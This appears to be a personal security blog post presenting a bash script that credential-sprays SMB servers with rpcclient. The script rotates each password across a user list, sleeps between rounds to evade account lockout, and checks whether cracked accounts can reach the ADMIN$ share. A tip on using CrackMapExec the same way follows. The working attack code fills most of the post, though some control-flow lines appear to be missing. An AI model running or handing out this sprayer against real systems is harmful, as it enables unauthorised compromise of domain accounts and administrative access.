Credential spraying SMB servers with rpcclient

I’ve been wanting an efficient way to credential spray SMB servers. I typically use byt3bl33d3r’s CrackMapExec when poking SMB servers but wanted a way to rotate single users over multiple passwords and then force the process to sleep for a while (for the sake of account lock-out). CrackMapExec doesn’t have these features (just yet). Additionally, the script tests successful credentials for access to the ADMIN$ share.

So I sat down today and started looking at some of the command-line tools at my disposal for checking SMB server access. it seemed pretty clear to me that the tool of choice for this endeavor was rpcclient.

Having realized this, and how to make this tool interact with servers using SMB3, I worked out the script found below. It takes four pieces of input: (1) a host to attack, (2) list of users, (3) list of passwords, and (4) a number of seconds to sleep between attacks.

Call the script in the following manner.

./ /tmp/users.txt /tmp/passwords.txt 2730

One major caveat to point out is the need to set the client connection option to use a max protocol of SMB3. This can be done by editing the attacking host’s /etc/samba/smb.conf file or by supplying the rpcclient utility the appropriate option setting. Without this setting you won’t be able to talk to servers utilizing SMB version 3.

You can also find this in my Gists at github at



RPCCLIENT=$(which rpcclient)
NMBLOOKUP=$(which nmblookup)
OPTIONS="client max protocol=SMB3"

# 45.5 minutes = 2730 seconds

print_help() {
        echo "Usage: $(basename $0) <Host/IP address> <Users file> <Passwords file> <Sleep seconds>"

if [ -z "$HOST" ]; then
        echo "Error: Provide me with a host or IP address"
        exit 1

if [ -z "$USERS" ]; then
        echo "Error: Provide me with a users file"
        exit 2
elif [ ! -f "$USERS" ]; then
        echo "Error: Users file doesn't exist"
        exit 3

if [ -z "$PASSWORDS" ]; then
        echo "Error: Provide me with a password file"
        exit 4
elif [ ! -f "$PASSWORDS" ]; then
        echo "Error: Passwords file doesn't exist"
        exit 5

if [ -z "$SLEEP" ]; then
        echo "Error: Provide me with a number of seconds to sleep"
        exit 6
elif [[ ! "$SLEEP" =~ ^[0-9]+$ ]]; then
        echo "Error: Provide me with an integer"
        exit 7

DOMAIN="$($NMBLOOKUP -A $HOST | grep GROUP | head -1 | awk '{print $1}')"

LINES=$(wc -l $PASSWORDS | awk '{print $1}')

while read PASS; do
    ITR="$((ITR + 1))"
    while read USER; do

        $RPCCLIENT --options="$OPTIONS" -U "${DOMAIN}\\${USER}%${PASS}" "$HOST" -c "getusername; quit" > $TMP_FILE

        if [[ $? -gt 0 ]]; then
            echo -en "\e[31m[-]\e[0m "
            echo "ERROR: $(cat $TMP_FILE)"

            echo -en "\e[31m[-]\e[0m "
            echo "${DOMAIN}\\${USER}:${PASS} - LOGON FAILED"
            echo -en "\e[32m[+]\e[0m "
            echo "${DOMAIN}\\${USER}:${PASS} - LOGON SUCCESS"

            $RPCCLIENT --options="$OPTIONS" -U "${DOMAIN}\\${USER}%${PASS}" "$HOST" -c "netsharegetinfo 'ADMIN\$'; quit" > $TMP_FILE
            TEST=$(grep -c netname $TMP_FILE)

            if [[ $TEST -gt 0 ]]; then
                echo -en "\e[95m[+]\e[0m "
                echo -n "${DOMAIN}\\${USER}:${PASS} - "
                echo -e "\e[95mADMIN\$ access SUCCESS!\e[0m"
    done < <(cat "$USERS")

    if [[ $ITR -lt $LINES ]]; then
        echo -e "\e[33m[+]\e[0m Sleeping ${SLEEP} seconds."
        sleep ${SLEEP}
done < <(cat "$PASSWORDS")

rm -f $TMP_FILE

The script produces output that looks something like the following. output

I’ll be looking to create the same type of features for CrackMapExec here in the next few days. I really like the tool and would love to see these features built into it.

Short-term fix for using CrackMapExec in this manner.

Default behavior for cme is to loop passwords over each user. This is rather undesirable as it will cause account lock-outs. Also note that cme stops on first successful login.

Tagged , , ,